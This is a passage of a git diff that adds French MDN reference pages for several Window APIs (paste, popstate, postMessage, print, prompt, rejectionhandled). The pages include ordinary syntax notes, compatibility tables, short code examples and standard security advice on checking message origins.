+<p>Lorsqu'une fenêtre est chargée dans un ensemble de cadres (frameset), son parent est le cadre parent (c'est-à-dire le document dans lequel se trouve l'élément <code>&lt;frame&gt;</code> qui fait référence à la fenêtre).</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
diff --git a/files/fr/web/api/window/paste_event/index.html b/files/fr/web/api/window/paste_event/index.html
new file mode 100644
index 0000000000..f06204f102
--- /dev/null
+++ b/files/fr/web/api/window/paste_event/index.html
@@ -0,0 +1,73 @@
+---
+title: 'Window: paste event'
+slug: Web/API/Window/paste_event
+tags:
+  - Evènement
+  - Reference
+  - Window
+  - paste
+translation_of: Web/API/Window/paste_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'événement <strong><code>paste</code></strong> est déclenché lorsque l'utilisateur a lancé une action de "paste" via l'interface utilisateur du navigateur.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("ClipboardEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété du gestionnaire d'événements</th>
+   <td>{{domxref("HTMLElement/onpaste", "onpaste")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">La cible d'origine de cet événement est le {{domxref ("Element")}} qui était la cible prévue de l'action de collage</span></span>. Vous pouvez écouter cet événement sur l'interface {{domxref ("Window")}} pour le gérer dans les phases de capture ou de bullage. Pour plus de détails sur cet événement, veuillez consulter la page sur le <a href="/en-US/docs/Web/API/Element/paste_event">Element: paste event</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">window.addEventListener('paste', (event) =&gt; {
+    console.log('paste action initiated')
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Clipboard API', '#clipboard-event-paste')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.paste_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Événements liés: {{domxref("Window/cut_event", "cut")}}, {{domxref("Window/copy_event", "copy")}}</li>
+ <li>Cet événement sur {{domxref("Element")}} cible: {{domxref("Element/paste_event", "paste")}}</li>
+ <li>Cet événement sur {{domxref("Document")}} cible: {{domxref("Document/paste_event", "paste")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/popstate_event/index.html b/files/fr/web/api/window/popstate_event/index.html
new file mode 100644
index 0000000000..98725fa936
--- /dev/null
+++ b/files/fr/web/api/window/popstate_event/index.html
@@ -0,0 +1,143 @@
+---
+title: popstate
+slug: Web/API/Window/popstate_event
+translation_of: Web/API/Window/popstate_event
+---
+<p>L'événement <code>popstate</code> est exécuté lorsque l'entrée active de l'historique change. Si l'entrée active de l'historique en cours d'activation a été créé par un appel à <code>history.pushState()</code> ou a été affectée par un appel à <code>history.replaceState()</code>, la propriété <code>state</code> de l'événement <code>popstate</code> contient une copie de l'objet <code>state</code> de l'entrée d'historique.</p>
+
+<p>Notez qu'un appel à <code>history.pushState()</code> ou <code>history.replaceState()</code> n'exécutera pas l'événement <code>popstate</code>. L'événement <code>popstate</code> est uniquement exécuté en réalisant une action dans le navigateur telle que cliquer sur le bouton de retour (ou appeler <code>history.back()</code> en JavaScript).</p>
+
+<p>Les navigateurs ont tendance à gérer l'événement <code>popstate</code> différemment lors du chargement de la page. Chrome (avant la v34) et Safari émettent toujours un événement <code>popstate</code> lors du chargement de la page, contrairement à Firefox.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">PopStateEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">defaultView</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The browsing context (<code>window</code>).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>state</code> {{readonlyInline}}</td>
+   <td><em>any</em></td>
+   <td>The current history entry's state object (if any).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supportbasique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>3.0[2]</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] L'implémentation est supportée de façon limitée.</p>
+
+<p>[2] L'implémentation sous Android 2.2 et 2.3 était buggée.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Une page <code>http://example.com/example.html</code> exécutant le code suivant génèrera un journal comme spécifié :</p>
+
+<pre class="brush: js">window.onpopstate = function(event) {
+  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>Notez que même si l'entrée d'historique originelle (pour <code>http://example.com/example.html</code>) n'a pas d'objet state associé, un événement <code>popstate</code> est tout de même exécuté lorsque nous activons cette entrée au second appel à <code>history.back()</code>.</p>
+
+<h2 id="Événements_liés">Événements liés</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla_event_reference/hashchange"><code>hashchange</code></a></li>
+</ul>
diff --git a/files/fr/web/api/window/postmessage/index.html b/files/fr/web/api/window/postmessage/index.html
new file mode 100644
index 0000000000..9c4e349959
--- /dev/null
+++ b/files/fr/web/api/window/postmessage/index.html
@@ -0,0 +1,179 @@
+---
+title: Window.postMessage
+slug: Web/API/Window/postMessage
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Reference
+  - postMessage
+translation_of: Web/API/Window/postMessage
+---
+<div>{{ ApiRef() }}</div>
+
+<div></div>
+
+<p>La méthode <strong><code>window.postMessage</code></strong> permet une communication inter-domaine en toute sécurité. Normalement, les scripts de différentes pages sont autorisés à accéder les uns aux autres si et seulement si les pages depuis lesquelles ils sont exécutés ont des URL de même <a href="/en-US/docs/Glossary/Origin">origine</a>, c'est-à-dire avec le même protocole (généralement <code>http</code> ou <code>https</code>), le même numéro de port (<code>80</code> étant le port par défaut pour  <code>http</code>), et le même nom d'hôte (à condition que <a href="/en-US/docs/DOM/document.domain" title="DOM/document.domain">document.domain</a> soit initialisé à la même valeur par les deux pages). <code>window.postMessage</code> fournit un mécanisme contrôlé pour contourner cette restriction d'une manière sécurisée si bien utilisée.</p>
+
+<p>La méthode <code>window.postMessage</code>, quand elle est appelée, provoque l'envoi d'un {{domxref("MessageEvent")}} à la fenêtre ciblée une fois que tout script en attente a terminé son exécution (par exemple, les gestionnaires d'évènements restants si <code>window.postMessage</code> est appelée depuis un gestionnaire d'évènement, des timeouts en attente enregistrées auparavant, etc.) Le {{domxref("MessageEvent")}} est de type <code>message</code>, a une propriété <code>data</code> qui est initialisée à la valeur du premier argument passé à<code> window.postMessage</code>, une propriété <code>origin</code> correspondant à l'origine du document principal de la fenêtre appelant <code>window.postMessage</code> au moment où <code>window.postMessage</code> a été appelée, et une propriété <code>source</code> qui est la fenêtre depuis laquelle <code>window.postMessage</code> est appelée. (les autres propriétés standard d'évènement sont présentes avec leurs valeurs attendues).</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>otherWindow</em>.postMessage(<em>message</em>, <em>targetOrigin</em>, [<em>transfer</em>]);</pre>
+
+<dl>
+ <dt><code><em>otherWindow</em></code></dt>
+ <dd>Une référence à une autre fenêtre ; une telle référence peut être obtenue, par exemple, <em>via</em> la propriété <code>contentWindow</code> d'un élément <code>iframe</code>, l'objet retourné par <a href="/fr/docs/DOM/window.open" title="DOM/window.open">window.open</a>, ou par index nommé ou numérique de <a href="/fr/docs/Web/API/window.frames" title="DOM/window.frames">window.frames</a>.</dd>
+ <dt><code><em>message</em></code></dt>
+ <dd>La donnée à envoyer à l'autre fenêtre. Elle est sérialisée en utilisant <a href="/fr/docs/Web/Guide/API/DOM/The_structured_clone_algorithm" title="DOM/The structured clone algorithm">l'algorithme de clônage structuré</a>. Cela signifie que vous pouvez passer sereinement une large variété d'objets de données à la fenêtre de destination sans avoir à les sérialiser vous-mêmes. [1]</dd>
+ <dt><code><em>targetOrigin</em></code></dt>
+ <dd>Indique quelle doit être l'origine de <code>otherWindow</code> pour l'évènement à envoyer, soit comme la chaîne littérale <code>"*"</code> (signifiant pas de préférence) soit comme une URI. Si, au moment où l'évènement est inscrit pour être envoyé, le protocole, le nom d'hôte ou le port du document de <code>otherWindow</code> ne correspond pas à ceux contenus dans <code>targetOrigin</code>,  l'évènement ne sera pas envoyé ; il ne le sera que si les trois correspondent. Ce mécanisme permet de contrôler où les messages sont envoyés ; par exemple, si <code>postMessage</code> était utilisé pour transmettre un mot de passe, il serait absolument vital que cet argument soit une URI dont l'origine est la même que le récepteur prévu du message contenant le mot de passe, afin de prévenir l'interception du mot de passe par une tierce-partie malicieuse. <strong>Fournissez toujours une <code>targetOrigin</code> spécifique, jamais <code>*</code>, si vous savez où le document de l'autre fenêtre est censé se trouver. Ne pas fournir une cible spécifique expose les données que vous envoyez à tout site malicieux à l'écoute.</strong></dd>
+ <dt><code><em><strong>transfer</strong></em></code> {{optional_Inline}}</dt>
+ <dd>Séquence d'objets {{domxref("Transferable")}} qui sera transmise avec le message. La possession de ces objets est cédée à la destination et ils ne sont plus utilisables du côté de l'expéditeur.</dd>
+</dl>
+
+<h2 id="The_dispatched_event" name="The_dispatched_event">L'évènement envoyé</h2>
+
+<p><code>otherWindow</code> peut surveiller les messages envoyés en exécutant le JavaScript suivant :</p>
+
+<pre class="brush: js">window.addEventListener("message", receiveMessage, false);
+
+function receiveMessage(event)
+{
+  if (event.origin !== "http://example.org:8080")
+    return;
+
+  // ...
+}
+</pre>
+
+<p>Les propriétés du message envoyé sont :</p>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>L'objet passé depuis l'autre fenêtre.</dd>
+ <dt><code>origin</code></dt>
+ <dd>L'<a href="/en-US/docs/Origin" title="Origin">origine</a> de la fenêtre qui a envoyé le message au moment où <code>postMessage</code> a été appelée. Des exemples typiques d'origines sont <code><span class="nowiki">https://example.org</span></code> (sous-entendu port <code>443</code>), <code><span class="nowiki">http://example.net</span></code> (sous-entendu port <code>80</code>), et <code><span class="nowiki">http://example.com:8080</span></code>. Notez qu'il n'est pas garanti que cette origine soit l'origine actuelle ou future de cette fenêtre, qui peut avoir été naviguée vers une adresse différente depuis l'appel à <code>postMessage</code>.</dd>
+ <dt><code>source</code></dt>
+ <dd>Une référence à l'objet <code><a href="/fr/docs/DOM/window" title="DOM/window">window</a></code> qui a envoyé le message ; vous pouvez utiliser ceci pour établir une communication dans les deux sens entre deux fenêtres ayant différentes origines.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Security_concerns" name="Security_concerns">Précautions de sécurité</h2>
+
+<p><strong>Si vous ne prévoyez pas de recevoir de messages depuis d'autres sites, n'ajoutez pas de gestionnaire d'évènement pour les évènements <code>message</code>.</strong> C'est un moyen sûr d'éviter les problèmes de sécurité.</p>
+
+<p>Si vous prévoyez de recevoir des messages depuis d'autres sites, <strong>vérifiez toujours l'identité de l'expéditeur</strong> à l'aide des propriétés <code>origin</code> et si possible <code>source</code>. Toute fenêtre (y compris, par exemple, <code><span class="nowiki">http://evil.example.com</span></code>) peut envoyer un message à toute autre fenêtre, et vous n'avez aucune garantie qu'un expéditeur inconnu ne va pas envoyer de message malicieux. Cependant, même si vous vérifiez l'identité, vous devriez <strong>toujours vérifier la syntaxe du message reçu</strong>. Dans le cas contraire, une faille de sécurité dans le site auquel vous faites confiance peut ouvrir une vulnérabilité XSS dans votre propre site.</p>
+
+<p><strong>Spécifiez toujours explicitement une origine de destination, jamais <code>*</code>, quand vous utilisez <code>postMessage</code> pour envoyer des données à d'autres fenêtres.</strong> Un site malicieux peut changer l'adresse de la fenêtre à votre insu, et ainsi intercepter les données envoyées à l'aide de <code>postMessage</code>.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">/*
+ * Dans les scripts de la fenêtre A, avec A sur &lt;http://example.com:8080&gt;:
+ */
+
+var popup = window.open(...popup details...);
+
+// Quand la popup est chargée, si pas bloquée par un bloqueur de popups:
+
+// Ceci ne fait rien, en supposant que la fenêtre n'a pas changé d'adresse.
+popup.postMessage("The user is 'bob' and the password is 'secret'",
+                  "https://secure.example.net");
+
+// Ceci va planifier l'envoi d'un message à la popup, en supposant que
+// la fenêtre n'a pas changé d'adresse.
+popup.postMessage("hello there!", "http://example.org");
+
+function receiveMessage(event)
+{
+  // Faisons-nous confiance à l'expéditeur de ce message ?  (il pourrait être
+  // différent de la fenêtre que nous avons ouverte au départ, par exemple).
+  if (event.origin !== "http://example.org")
+    return;
+
+  // event.source est la popup
+  // event.data est "hi there yourself!  the secret response is: rheeeeet!"
+}
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<pre class="brush: js">/*
+ * Dans les scripts de la popup, sur &lt;http://example.org&gt;:
+ */
+
+// Appelée quelques instants après que postMessage a été appelée
+function receiveMessage(event)
+{
+  // Faisons-nous confiance à l'expéditeur de ce message ?
+  if (event.origin !== "http://example.com:8080")
+    return;
+
+  // event.source est window.opener
+  // event.data est "hello there!"
+
+  // Supposant que vous avez vérifié l'origine du message reçu
+  // (ce que vous devriez faire en toutes circonstances),
+  // un moyen pratique de répondre à un message est d'appeler postMessage
+  // sur event.source et fournir event.origin comme targetOrigin.
+  event.source.postMessage("hi there yourself!  the secret response " +
+                           "is: rheeeeet!",
+                           event.origin);
+}
+
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>Toute fenêtre peut accéder à cette méthode sur toute autre fenêtre, à tout moment, peu importe l'adresse du document dans la fenêtre, pour y envoyer un message. Par conséquent, tout gestionnaire d'évènement utilisé pour recevoir des messages <strong>doit</strong> d'abord vérifier l'identité de l'expéditeur du message, en utilisant les propriétés <code>origin</code> et si possible <code>source</code>. Cela ne peut pas être minimisé : <strong>ne pas vérifier les propriétés <code>origin</code> et si possible <code>source</code> permet des attaques inter-site.</strong></p>
+
+<p>De même qu'avec les scripts exécutés de manière asynchrone (timeouts, evènements générés par l'utilisateur), il n'est pas possible pour l'appelant à <code>postMessage</code> de détecter quand un gestionnaire d'évènement écoutant des évènements envoyés par <code>postMessage</code> lance une exception.</p>
+
+<p>La valeur de la propriété <code>origin</code> de l'évènement envoyé n'est pas affectée par la valeur actuelle de <code>document.domain</code> dans la fenêtre appelante.</p>
+
+<p>Pour les noms d'hôte IDN uniquement, la valeur de la propriété <code>origin</code> n'est pas systématiquement Unicode ou punycode ; pour la plus grande compatibilité, testez à la fois les valeurs IDN et punycode quand vous utilisez cette propriété si vous attendez des messages de sites IDN. Cette valeur sera systématiquement IDN à l'avenir, mais pour l'instant vous devriez gérer à la fois les formes IDN et punycode.</p>
+
+<p>La valeur de la propriété <code>origin</code> quand la fenêtre expéditrice contient une URL <code>javascript:</code> ou <code>data:</code> est l'origin du script qui a chargé cette URL.</p>
+
+<h3 id="Utiliser_window.postMessage_dans_les_extensions_Non-standard_inline">Utiliser window.postMessage dans les extensions {{Non-standard_inline}}</h3>
+
+<p><code>window.postMessage</code> est disponible depuis le JavaScript exécuté en code chrome (par exemple dans les extensions et le code privilégié), mais la propriété <code>source</code> de l'évènement envoyé est toujours <code>null</code> par mesure de sécurité. (Les autres propriétés ont leurs valeurs usuelles.) L'argument <code>targetOrigin</code> pour un message envoyé à une fenêtre située à une URL<code> chrome:</code> est actuellement mal interprété, si bien que la seule valeur qui conduit à l'envoi d'un message est <code>"*"</code>. Comme cette valeur n'est pas sûre quand la fenêtre ciblée peut être naviguée n'importe où par un site malicieux, il est recommandé de ne pas utiliser <code>postMessage</code> pour communiquer avec des pages <code>chrome:</code> pour l'instant ; utilisez une méthode différente (comme une query string quand la fenêtre est ouverte) pour communiquer avec des fenêtres chrome. Enfin, poster un message à une page à une URL <code>file:</code> requiert actuellement que l'argument <code>targetOrigin</code> soit <code>"*"</code>. <code>file://</code> ne peut pas être utilisé comme restriction de sécurité ; cette restriction pourrait être modifiée à l'avenir.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><strong>Spécification</strong></th>
+   <th scope="col"><strong>Status</strong></th>
+   <th scope="col"><strong>Comment</strong>aire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-window-postmessage", "window.postMessage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis {{SpecName('HTML5 Web Messaging')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web Messaging', '#dom-window-postmessage', 'window.postMessage')}}</td>
+   <td>{{Spec2('HTML5 Web Messaging')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Window.postMessage")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/document.domain" title="DOM/document.domain">Document.domain</a></li>
+ <li><a href="/en-US/docs/Web/API/CustomEvent" title="/en-US/docs/Web/API/CustomEvent">CustomEvent</a></li>
+ <li><a href="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" title="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction entre les pages privilégiées et non privilégiées</a></li>
+</ul>
diff --git a/files/fr/web/api/window/print/index.html b/files/fr/web/api/window/print/index.html
new file mode 100644
index 0000000000..17eeacc763
--- /dev/null
+++ b/files/fr/web/api/window/print/index.html
@@ -0,0 +1,54 @@
+---
+title: Window.print()
+slug: Web/API/Window/print
+tags:
+  - API
+  - BesoinDeCompatibilitéAvecLeNavigateur
+  - BesoinDeCompatibilitéAvecLeNavigateurMobile
+  - DOM
+  - Méthode
+  - Reference
+  - Window
+translation_of: Web/API/Window/print
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Ouvre la fenêtre de dialogue d'impression pour imprimer le document courant. </p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval">window.print()
+</pre>
+
+<h2 id="Specification" name="Specification">Notes</h2>
+
+<p>Disponible à partir de Chrome {{CompatChrome(45.0)}}, cette méthode est bloquée à l'intérieur d'une balise {{htmlelement("iframe")}} sauf si son attribut sandbox a la valeur allow-modal.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web application', '#dom-print', 'print()')}}</td>
+   <td>{{Spec2('HTML5 Web application')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en/Printing" title="en/Printing">Printing</a></li>
+ <li>{{ domxref("window.onbeforeprint") }}</li>
+ <li>{{ domxref("window.onafterprint") }}</li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/DOM/window.print", "it": "it/DOM/window.print" , "zh-cn": "zh-cn/DOM/window.print" } ) }}</p>
diff --git a/files/fr/web/api/window/prompt/index.html b/files/fr/web/api/window/prompt/index.html
new file mode 100644
index 0000000000..cb3128f648
--- /dev/null
+++ b/files/fr/web/api/window/prompt/index.html
@@ -0,0 +1,93 @@
+---
+title: window.prompt
+slug: Web/API/Window/prompt
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Reference
+  - Window
+translation_of: Web/API/Window/prompt
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p>La méthode <code>Window.prompt()</code> affiche une boîte de dialogue, éventuellement avec un message, qui invite l'utilisateur à saisir un texte.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>résultat</em> = window.prompt(<em>message</em>, <em>défaut</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>Une chaîne de caractères qui sera affichée pour l'utilisateur. Cet argument peut ne pas être utilisé s'il n'y a rien à afficher dans la fenêtre.</dd>
+ <dt><code>default</code> {{optional_inline}}</dt>
+ <dd>Une chaîne de caractères contenant la valeur par défaut affichée pour la saisie. Pour Internet Explorer 7 et 8, si cet argument n'est pas fourni, ce sera la chaîne de caractères <code>"undefined"</code> qui sera la valeur par défaut.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La chaîne de caractères qui a été saisie par l'utilisateur ou <code>null</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">let signe = prompt("Quel est votre signe astrologique ?");
+
+if (signe.toLowerCase() == "verseau") {
+  console.log("Oh ? moi aussi je suis verseau :)");
+}
+
+// Différentes façons d'utiliser prompt
+signe = window.prompt(); // ouvre une fenêtre de saisie sans texte
+signe = prompt();       //  ouvre une fenêtre de saisie sans texte
+
+ // ouvre une fenêtre avec le texte "Quelle est la réponse ?"
+signe = window.prompt('Quelle est la réponse ?');
+
+// ouvre une fenêtre avec le texte "Quelle est la réponse ?"
+// avec la valeur "42" comme réponse par défaut
+signe = window.prompt('Quelle est la réponse ?', '42');</pre>
+
+<p>Lorsque l'utilisateur clique sur le bouton OK, le texte saisi dans le champ est renvoyé par la fonction. Si l'utilisateur clique sur OK sans avoir saisi de texte, c'est la chaîne vide qui est renvoyée. Si l'utilisateur clique sur le bouton "Annuler", la fonction renvoie <code>null</code>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Une boîte de dialogue contient un texte sur une ligne, un bouton "Annuler" ainsi qu'un bouton "OK". Elle permet de renvoyer le texte (éventuellement vide) saisi par l'utilisateur dans le champ de saisie.</p>
+
+<p><span class="comment">The following text is shared between this article, DOM:window.confirm and DOM:window.alert</span>Les boîtes de dialogue sont des fenêtres modales : elles empêchent l'utilisateur d'accéder au reste de l'interface du programme tant que la fenêtre n'est pas fermée. Pour ces raisons, mieux vaut ne pas abuser des fonctions qui créent de telles boîtes de dialogue et autres fenêtres modales.</p>
+
+<p>On notera que le résultat de la fonction est une chaîne de caractères. Cela signifie qu'il faut parfois convertir la valeur founie par l'utilisateur. Si, par exemple, on souhaite que la réponse soit un nombre, il faudra la convertir (avec le constructeur {{jsxref("Number")}} éventuellement).</p>
+
+<pre class="brush: js notranslate">const aNumber = Number(window.prompt("Veuillez saisir un nombre.", ""));</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-prompt', 'prompt()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Window.prompt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.alert", "alert")}}</li>
+ <li>{{domxref("window.confirm", "confirm")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/rejectionhandled_event/index.html b/files/fr/web/api/window/rejectionhandled_event/index.html
new file mode 100644
index 0000000000..ad18e72fc0
--- /dev/null
+++ b/files/fr/web/api/window/rejectionhandled_event/index.html
@@ -0,0 +1,82 @@
+---
+title: 'Window: rejectionhandled event'
+slug: Web/API/Window/rejectionhandled_event
+tags:
+  - API
+  - Evènement
+  - HTML DOM
+  - JavaScript
+  - Promesse
+  - Reference
+  - Window
+  - onrejectionhandled
+  - rejectionhandled
+translation_of: Web/API/Window/rejectionhandled_event
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">L'événement <strong><code>rejectionhandled</code></strong> est envoyé à la portée globale du script (généralement {{domxref("window")}} mais aussi {{domxref("Worker")}}) chaque fois qu'un JavaScript {{jsxref("Promise")}} est rejeté mais après que le rejet de la promesse a été traité.</span> Cela peut être utilisé dans le débogage et pour la résilience générale des applications, en tandem avec l'événement {{domxref ("Window.unhandledrejection_event", "unhandledrejection")}}, qui est envoyé lorsqu'une promesse est rejetée mais qu'il n'y a pas de responsable du rejet .</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("PromiseRejectionEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td>{{domxref("WindowEventHandlers.onrejectionhandled", "onrejectionhandled")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Vous pouvez utiliser l'événement <code>rejectionhandled</code> pour consigner les promesses rejetées sur la console, ainsi que les raisons pour lesquelles elles ont été rejetées :</p>
+
+<pre class="brush: js notranslate">window.addEventListener("rejectionhandled", event =&gt; {
+  console.log("Promise rejected; reason: " + event.reason);
+}, false);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#unhandled-promise-rejections', 'rejectionhandled')}}</td>
